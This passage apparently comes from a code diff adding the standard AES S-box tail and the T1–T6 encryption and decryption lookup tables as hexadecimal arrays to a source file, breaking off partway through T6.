0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] + + # Transformations for encryption + T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ] + T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ] + T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ] + T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ] + + # Transformations for decryption + T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ] + T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 